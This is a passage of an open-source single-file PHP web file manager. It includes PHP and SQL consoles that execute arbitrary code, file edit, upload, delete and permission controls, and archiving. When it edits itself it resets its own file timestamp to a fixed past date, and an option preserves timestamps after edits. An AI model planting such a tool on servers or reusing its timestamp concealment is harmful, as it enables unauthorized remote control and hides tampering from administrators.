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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
